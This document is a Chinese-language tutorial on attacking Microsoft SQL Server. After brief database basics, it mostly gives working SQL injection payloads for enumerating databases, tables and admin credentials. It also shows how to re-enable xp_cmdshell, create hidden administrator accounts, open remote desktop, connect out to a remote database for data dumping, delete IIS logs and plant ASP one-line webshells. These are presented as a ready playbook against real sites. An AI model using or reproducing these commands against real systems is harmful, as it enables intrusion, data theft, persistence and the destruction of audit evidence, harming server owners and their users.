

mssql数据库介绍及操作

简介

mssql 是指sql server 数据库

美国Microsoft公司推出的一种关系型数据库系统。SQLServer是一个可扩展的、高性能的、为分布式客户机/服务器计算所设计的数据库管理系统，实现了与WindowsNT的有机结合，提供了基于事务的企业级信息管理系统方案。

其主要特点如下：

- (1) 高性能设计，可充分利用WindowsNT的优势
- (2) 系统管理先进，支持Windows图形化管理工具，支持本地和远程的系统管理和配置。
- (3) 强壮的事务处理功能，采用各种方法保证数据的完整性。
- (4) 支持对称多处理器结构、存储过程、ODBC，并具有自主的SQL语言。SQLServer以其内置的数据复制功能、强大的管理工具、与Internet的紧密集成和开放的系统结构为广大的用户、开发人员和系统集成商提供了一个出众的数据库平台。

mssql服务、端口、后缀

重启服务，使其生效。

命令： services.msc

TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING(监听状态)

sql server 默认是以管理员的身份安装在系统上的

默认会有一个 sa 账户，这是一个系统级权限账户

监控的是 1433端口

1433端口是开启的。当我们关闭服务后，端口也将关闭。

如果开启了1433端口一定要修改sa账户密码

否则可以通过 1433抓鸡 工具

也可以用 hydra 爆破1433的sa弱口令

后缀 xxx.mdf

日志文件后缀 lxxx_log.ldf

一般是asp/aspx+sqlserver比较多一些

也有一些是asp+access

学校

政府

oa办公系统

游戏

棋牌

人事考试网站

mssql 2008安装

注意点：

在安装过程中一定要记好sa的密码

删除数据库

首先要分离数据库

第一步：找到要删除的数据库的文件位置


右击数据库属性-文件-路径，然后打开文件夹

第二步：分离数据库

右击数据库-任务-分离，选中删除连接，更新统计信息

第三步：删除第一步找到要删除的数据库文件

test.mdf
test_log.ldf

1568190109949

附加数据库

依然首先分离数据库，否则会提示文件占用

mdf文件和ldf 文件都要下载下来

第一步：右击数据库标签-附加

第二步：找到要添加的数据库文件xxx.mdf和xxx.ldf

实战遇到问题

准备把一个网站打包下来使用，但打包时需要把数据库也给打包下载下来
由于网站正在使用数据库，所以无法复制数据库

解决办法：

提权，然后登陆服务器，由于网站正在使用当中，所以不能停止数据库，否则网站会出问题
备份，生成的bak文件，达不到打包数据库的目的

所以推荐使用**任务-生成脚本**

mssql数据库权限

sa权限：数据库操作、文件管理、命令执行、注册表读取等
比system权限更高一些

db权限：文件管理，数据库操作等

public权限：数据库操作

面对这种权限的入侵，跟db权限一样，通过备份写入一句话

mssql数据库调用分析

```
<%  
set conn =server.createobject("adodb.connection")  
conn.open "provider=sqloledb;source=local;uid=sa;pwd=*****;database=database-  
name"  
%>
```

这种代码一般写在config、conn或者web.config的配置文件里面，后缀名为 `.asp`或`.aspx`

provider后面不用管，照写，source后面的可以是ip地址，这里是用的本地的；sa是内置的用户，它的密码是在安装的时候设置的；database后面是你要连接的数据库的名称，例：jsgl
(不需要扩展名)

数据库注入

数据库不同，sql语句就不同，如mssql 2005 与mssql 2008的语句就是不同的，因此一般不建议手工

1.判断是否有注入

```
and 1=1  
and 1=2  
/  
-0  
判断注入的方法和access是一样的
```

2.初步判断是否是mssql

and user > 0

3.判断数据库系统

```
and (select count(*) from sysobjects) > 0    mssql  
and (select count(*) from msysobjects) > 0    access
```

4.注入参数是字符

'and [查询条件] and ''='

5.搜索时没有过滤参数的

' and [查询条件] and '%25' ='

6.猜数表名

and (select count(*) from [表名])>0

7.猜字段

and (select count(字段名) from 表名)>0

8.猜字段中的记录长度

and (select top 1 len(字段名) from 表名)>0

9.猜字段的ascii值

(1)猜字段的ascii值(access)

and (select top 1 asc(mid(字段名,1,1)) from 表名)>0

** (2)猜字段的ascii值(mssql)

and (select top 1 unicode(substring(字段名,1,1)) from 表名) >0

10.测试权限结构(mssql)

and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
若返回正常，则判断是sysadmin权限,以下的权限都包括了

and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(select IS_MEMBER('db_owner'));--

测试

判断注入测试站点

这是AWS官方网站提供用来测试的靶机
<http://testasp.vulnweb.com/showforum.asp?id=0>

判断数据库版本信息

```
id=1 and 1=(select @@version)
id=@@version
```

效果是一样的

原理：带进查询

select @@version是一个字符类型的查询，而id=1的查询是数字类型，因此在执行的时候将字符类型强制转换成数字类型查询，但转换失败，所以会直接字符类型的查询

获取当前数据库名

```
id=1 and 1=(select db_name())
id=db_name()
```

```
//获取第一个用户数据库(mssql)
id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)
得到第一个符合条件的数据库为jxgl
```

sql语句分析：

top 1: 排序

从默认数据库master中

dbid: 数据库是依靠dbid区分的, 一般自带的数据库为4个;

大于4且加上top 1,意思是第一个dbid大于4的数据库 (除去mssql数据库自带的四个数据库)

```
//获取第二个用户数据库
and 1=(select top 1 name from master..sysdatabases where dbid>4 and
name<>'jsgl')
得到第二个数据库名为user
```

sql语句分析:

<>: 不等与

也就是从系统数据库master中查询数据库, 条件式第一个dbid大于4且数据库名不是'jsgl'

```
//获取第三个用户数据库
and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<>'jsgl'
and <> 'user')
```

当然, dbid也可以大于5, 6, 7等等

```
and 1=(select top 1 name from master..sysdatabases where dbid>5)
```

另类查询

```
//查询第一个数据库
id=1 and 1=(select top 1 name from master..sysdatabases for xml path)

//查询所有数据库
id=1 and 1=(select name from master..sysdatabases for xml path)
```

xml: 这里是指以xml的格式显示出结果

获取表名

```
//获取第一张表threads
id=1 and 1=(select top 1 name from sysobjects where xtype='u')
得到表admin

//获取第二张表threads
id=1 and 1=(select top 1 name from sysobjects where xtype='u' and<>'admin')

以此类推

//列出所有表
id=1 and 1=(select name from sysobjects for xml path)
但这种方法无法确定表是哪个数据库
```

获取列名

```
//获取第一个列名
and 1=(select top 1 name from syscolumns where id=(select id from sysobjects
where name='admin'))

//获取第二个列名
and 1=(select top 1 name from syscolumns where id=(select id from sysobjects
where name='admin') and name<>'id')

//获取所有列名
and 1=(select name from syscolumns where id=(select * from sysobjects for xml
path))
还需要优化
```

获取列的内容

```
and 1=(select top 1 username from admin)

and 1=(select top 1 password from admin)
显示空白可能是因为类型不匹配
```

防过滤的绕过机制

大小写转换

用 `%0a` 或者 `+` 代替空格，一般 `+` 用于mysql

mssql数据库另类玩法

mssql注入时用户权限分析

sa权限
dbo
public

基本信息搜集

注入点权限判断

```
and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
and 1=(select IS_SRVROLEMEMBER('db_owner')) //判断是否是库权限(dbo)
and 1=(select IS_SRVROLEMEMBER('public')) //判断是否为public权限
and 1=convert(int,db)name())或1=(select dn_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限
```

利用mssql扩展存储注入攻击

1.检测与恢复扩展存储

想要执行系统命令，就需要看看执行系统命令的组件有没有安装

判断XP_cmdshell扩展存储是否存在

```
and 1=(select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell')
```

返回正常，则说明插件存在

判断xp_regread扩展存储过程是否存在

```
and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')
```

恢复(安装组件)

```
EXEC sp_configure 'show advanced options',1;RECONFIGURE;  
EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;  
;EXEC SP_dropextendedproc xp_cmdshell,'xplog70.dll'
```

sa权限下扩展存储攻击利用方法

1、利用xp_cmdshell扩展执行任意命令

查看C盘

```
;drop table black  
;create table black(mulu varchar(7996) null,ID int NOT null identity(1,1))--  
;insert into black exec master..xp_cmdshell 'dir c:\'
```

```
and 1=(select top 1 mulu from black where id=1)
```

新建用户

```
;exec master..xp_cmdshell 'net user test test /add'  
;exec master..xp_cmdshell 'net localgroup administrators test /add'
```

错误提示:

SQL Server 阻止了对组件'xp_cmdshell'的过程'sys.xp_cmdshell'的访问

(查看附件恢复xp_cmdshell方法总结)

执行这个命令

```
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure  
'xp_cmdshell', 1;RECONFIGURE;
```

创建用户之后可以通过3389连接远程服务

win+R打开运行，输入 mstsc 打开远程桌面连接

若没有打开远程桌面服务，则通过下面的方法打开

2、打开3389(前三行的命令)

```
id=1 ;exec master..xp_cmdshell 'sc config term service start=auto'
;exec master..xp_cmdshell 'net start term service'
;exec master..xp_cmdshell 'reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0x0 /f' //允许外部连接
```

成功执行命令之后再次连接，就能成功连接远程桌面了

如果防火墙只做了80端口映射，只能通过端口转发进行，让目标反过来连接本地端口

```
;exec master..xp_cmdshell 'reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP_Tco" /v ProtNumber /t REG_DWORD /d 0x50 /f' //改端口到80
```

使用xp_cmdshell的前提是**sa权限**

3、添加和删除一个sa权限的用户test:(需要sa权限)

```
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
```

停掉或激活某个服务

```
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
```

schedule: 服务名称

4、暴网站根目录

```
create table labeng(lala nvarchar(255),id int)

DECLARE @result varchar(255) exec master.dbo.xp_regead
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual
Roots','/',@result output insert into labeng(lala) values(@result);

and 1=(select top 1 lala from labeng)
或者
and 1=(select count(*) from labeng where lala>1)
```

5、开启远程数据库1:

```
;select * from
OPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','select * from
table1')
```

开启远程数据库2:


```
;select * from  
OPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.10  
0.1,1433;', 'select * from table')
```

这个比较实用，一般在脱裤的时候会用到

默认不允许web地址连接数据库，通过上面的命令开启远程数据库，通过address的地址连接数据库
一般是开着这个服务

6.删除日志记录

```
;exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\w3svc5\ex070606.log  
>c:\temp.txt'
```

替换日志记录

```
;exec master.dbo.xp_cmdshell 'copy  
C:\winnt\system32\logfiles\w3svc5\ex070404.log  
C:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'
```

7.利用sp_makewebtask写入一句话木马

前提是 知道网站的绝对路径

```
;exec sp_makewebtask  
'c:\inetpub\wwwroot\x.asp', 'select''%3c%25%65%76%61%6c%20%72%65%71%75%65%73%74%2  
8%22%63%68%6f%70%70%65%72%22%29%25%3e'' '--  
  
http://mssql.sql.com/aspx.aspx?  
id=1%20;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%  
27%27<%execute(request("cmd"))%>%27%27%27--
```

修改管理员密码

```
update admin set password=123456 where username='admin';
```

错误提示：

sql server 阻止了对组件'web Assistant procedures'的过程'sys.xp_makewebtask'的访问 [参考](#)

```
exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE
```

db_owner权限下的扩展攻击利用

1、判断数据库用户权限

```
and 1=(select is_member('db_owner'));
```

2、搜索web目录

```
;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID
int NOT NULL IDENTITY(1,1));--
```

然后

```
;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--
and(select dir from temp where id=1)>0
```

由于不能一次性获取所有目录文件和文件夹名，因此需要更改ID的值，依次列出文件和文件夹

3、写入一句话木马

找到web目录后，就可以写入一句话木马了

原理：先创建表，让后通过差异备份，然后把一句话写入到表中备份到网站上

```
;alter database ssdown5 set RECOVERY FULL
;create table test(str image)--
;backup log ssdown5 to disk='c:\test' with init--
;insert into test(str)values ('<%excute(request("cmd"))%>')--
;backup log ssdown5 to disk='c:\inetpub\wwwroot\x.asp'--
;alter database ssdown5 set RECOVETY simple
```

差异备份、完全备份、权限入侵

工具使用

测试注入：啊的注入检测工具、穿山甲(pangolin)、萝卜头、sqlmap

写一句话木马的工具：getwebshell增强版

附件：1433 SQL入侵恢复xp_cmdshell方法总结

sql server 2005下开启xp_cmdshell的办法

```
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;
```

SQL2005开启'OPENROWSET'支持的方法：

```
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad
Hoc Distributed Queries',1;RECONFIGURE;
```

SQL2005开启'sp_oacreate'支持的方法：

```
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole
Automation Procedures',1;RECONFIGURE;
```

突破SA的各种困难

常见情况恢复执行xp_cmdshell

1 未能找到存储过程'master..xp_cmdshell'.

恢复方法：查询分离器连接后，

第一步执行：EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o
int

第二步执行：sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

然后按F5键命令执行完毕

2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126（找不到指定模块。）

恢复方法：查询分离器连接后，

第一步执行：sp_dropextendedproc "xp_cmdshell"

第二步执行：sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

然后按F5键命令执行完毕

3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因：127(找不到指定的程序。)

恢复方法：查询分离器连接后，

第一步执行：exec sp_dropextendedproc 'xp_cmdshell'

第二步执行：exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'

然后按F5键命令执行完毕

四.终极方法.

如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:

查询分离器连接后,

2000servser系统:

```
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec
sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell
huxifeng007 /add'
```

```
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec
sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup
administrators dell /add'
```

xp或2003server系统:

```
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec
sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell
huxifeng007 /add'
```

```
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec
sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup
administrators dell /add'
```

xp_cmdshell新的恢复办法

删除

```
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
```

恢复

```
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
```

这样可以直接恢复，不用去管sp_addextendedproc是不是存在

删除扩展存储过程xp_cmdshell的语句:

```
exec sp_dropextendedproc 'xp_cmdshell'
```

恢复cmdshell的sql语句

```
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
```

开启cmdshell的sql语句

```
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
```

判断存储扩展是否存在

```
select count(*) from master.dbo.sysobjects where xtype='x' and
name='xp_cmdshell'
```

返回结果为1就ok

恢复xp_cmdshell

```
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from
master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
```

返回结果为1就ok

否则上传xplog7.0.dll

```
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
```